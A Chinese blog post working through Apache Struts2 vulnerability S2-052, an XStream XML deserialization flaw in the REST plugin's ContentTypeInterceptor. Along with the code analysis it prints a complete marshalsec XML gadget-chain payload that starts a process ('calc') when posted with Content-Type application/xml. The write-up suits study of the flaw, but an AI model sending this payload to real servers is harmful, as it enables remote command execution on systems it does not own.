S2-052

前言

S2-052的RCE漏洞和以前的有些不同，不再是ognl表达式注入了，而是xml反序列化漏洞导致的RCE（另外还有S2-055漏洞是fastjson的反序列化漏洞）。我复现的时候遇到一个坑，导致一直复现不成功，就是必须要jdk1.8以上的版本才行。

正文

之前讲过执行action之前会先经过一些内置的拦截器，使用rest插件之后也是类似的，只不过经过的拦截器有变化了，如下图：

这次的漏洞就出现在ContentTypeInterceptor中，debug进去看看：

可以看到，通过getHandlerForRequest获得一个Handler后，调用handler的toObject方法，而输入的参数就是请求body，跟进getHandlerForRequest：

发现是通过请求头Content-Type来选择对应的Handler的，这是的漏洞就出现在，当Content-Type时会选用XStreamHandler，调用它的toObject()

很明显，调用了Xstream的fromXML方法，导致了xml的反序列化漏洞。

发送一个post请求，修改请求头信息为Content-Type: application/xml，发送post数据就是POC了，使用marshalsec工具（https://github.com/mbechler/marshalsec）生成如下poc：

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>calc</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

目前对xml反序列化漏洞的poc还没有了解过，所以这里就不深入了，以后有机会学习下。目前感觉marshalsec就是和ysoserial有点类似，集成了一些反序列化的poc，使用者根据场景的不同选择生成不同的poc。只不过marshalsec是针对xml的反序列化的，而ysoserial是针对纯java反序列化漏洞的(不知道怎么表达！！)

会报500但是命令还是执行了。

参考文章

https://www.freebuf.com/vuls/147170.html

https://github.com/mbechler/marshalsec

https://cwiki.apache.org/confluence/display/WW/S2-052